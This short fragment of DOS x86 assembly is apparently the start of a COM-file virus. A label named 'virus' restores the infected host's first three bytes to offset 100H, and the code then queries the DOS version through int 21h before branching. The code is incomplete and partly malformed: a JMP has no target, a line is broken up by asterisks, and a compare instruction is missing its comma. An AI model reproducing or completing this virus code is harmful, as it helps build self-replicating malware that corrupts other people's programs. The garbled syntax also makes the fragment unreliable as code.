ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE

ORG $+0100H

VCODE: JMP

***

virus: PUSH CX

MOV DX,OFFSET vir_dat

CLD

MOV SI,DX

ADD SI,first_3

MOV CX,3

MOV DI,OFFSET 100H

REPZ MOVSB

MOV SI,DX

mov ah,30h

int 21h

cmp al0

JnZ dos_ok

JMP quit